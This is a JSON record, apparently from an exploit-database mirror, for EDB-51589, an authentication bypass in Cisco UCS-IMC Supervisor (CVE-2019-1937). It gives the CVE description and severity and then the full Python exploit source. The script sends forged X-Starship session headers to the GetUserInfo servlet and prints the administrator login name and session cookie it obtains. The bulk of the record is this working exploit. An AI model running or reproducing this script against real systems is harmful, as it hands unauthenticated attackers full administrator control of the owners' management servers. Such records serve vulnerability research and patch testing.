{"exploit":{"id":"EDB-51589","name":"Cisco UCS-IMC Supervisor 2.2.0.0 - Authentication Bypass","description":"Cisco UCS-IMC Supervisor 2.2.0.0 - Authentication Bypass","cves":["CVE-2019-1937"],"author":"Fatih Sencer","published":"2023-07-15","platform":"hardware","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/51589","path":"exploits/hardware/webapps/51589.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-51589.py","vulnerabilities":[{"id":"CVE-2019-1937","state":"PUBLISHED","title":"Cisco Integrated Management Controller Supervisor, Cisco UCS Director, and Cisco UCS Director Express for Big Data Authentication Bypass Vulnerability","titleSource":"CVE Program","description":"A vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) Supervisor, Cisco UCS Director, and Cisco UCS Director Express for Big Data could allow an unauthenticated, remote attacker to acquire a valid session token with administrator privileges, bypassing user authentication. The vulnerability is due to insufficient request header validation during the authentication process. An attacker could exploit this vulnerability by sending a series of malicious requests to an affected device. An exploit could allow the attacker to use the acquired session token to gain full administrator access to the affected device.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-1937","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"cisco","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2019-1937"},"updatedAt":"2024-09-16T22:52:10.450Z","retrievedAt":"2026-11-26T19:25:35.403Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-51589.png?v=2","url":"https://exploitbin.com/exploits/EDB-51589","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-51589/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-51589/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"[+] Exploit Title: Cisco UCS-IMC Supervisor 2.2.0.0 - Authentication Bypass\n[+] Cisco IMC Supervisor - < 2.2.1.0\n[+] Date: 08/21/2019\n[+] Affected Component: /app/ui/ClientServlet?apiName=GetUserInfo\n[+] Vendor: https://www.cisco.com/c/en/us/products/servers-unified-computing/integrated-management-controller-imc-supervisor/index.html\n[+] Vulnerability Discovery : Pedro Ribeiro\n[+] Exploit Author: Fatih Sencer\n[+] CVE: CVE-2019-1937\n----------------------------------------------------\n\nUsage:\n\n./python3 CiscoIMC-Bypass.py -u host\n\n[+] Target https://xxxxxx.com\n[+] Target OK\n[+] Exploit Succes\n[+] Login name : admin\n[+] Cookie : REACTED\n\n\"\"\"\n\nimport argparse,requests,warnings,base64,json,random,string\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nwarnings.simplefilter('ignore',InsecureRequestWarning)\n\n\ndef init():\n    parser = argparse.ArgumentParser(description='Cisco IMC Supervisor / Authentication Bypass')\n    parser.add_argument('-u','--host',help='Host', type=str, required=True)\n    args = parser.parse_args()\n    exploit(args)\n\ndef exploit(args):\n    session = requests.Session()\n    headers = {\n        \"User-Agent\":                   \"Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4)\",\n        \"X-Requested-With\":             \"XMLHttpRequest\",\n        \"Referer\":                      \"https://{}/\".format(args.host),\n        \"X-Starship-UserSession-Key\":   ''.join(random.choices(string.ascii_uppercase + string.digits, k=10)),\n        \"X-Starship-Request-Key\":   ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))\n    }\n    target = \"https://{}/app/ui/ClientServlet?apiName=GetUserInfo\".format(args.host)\n    print(\"[+] Target {}\".format(args.host))\n\n    exp_send = session.get(target, headers=headers, verify=False, timeout=10)\n\n    if exp_send.status_code == 200:\n        print(\"[+] Target OK\")\n        body_data = json.loads(exp_send.text)\n        if not (body_data.get('loginName') is None):\n            print(\"[+] Exploit Succes\")\n            print(\"[+] Login name : {}\".format(body_data.get('loginName')))\n            print(\"[+] Cookie : {}\".format(session.cookies.get_dict()))\n        else:\n            print(\"[-] Exploit Failed\")\n\n    else:\n        print(\"[-] N/A\")\n        exit()\n\nif __name__ == \"__main__\":\n    init()","sha256":"22318cbc26ea584cd3552889065a8cd697cef1c786c6e778719267d08fc8ff32","bytes":2291,"fetchedAt":"2026-11-27T05:08:48.416Z","encoding":"utf-8 (display only; download retains original bytes)"}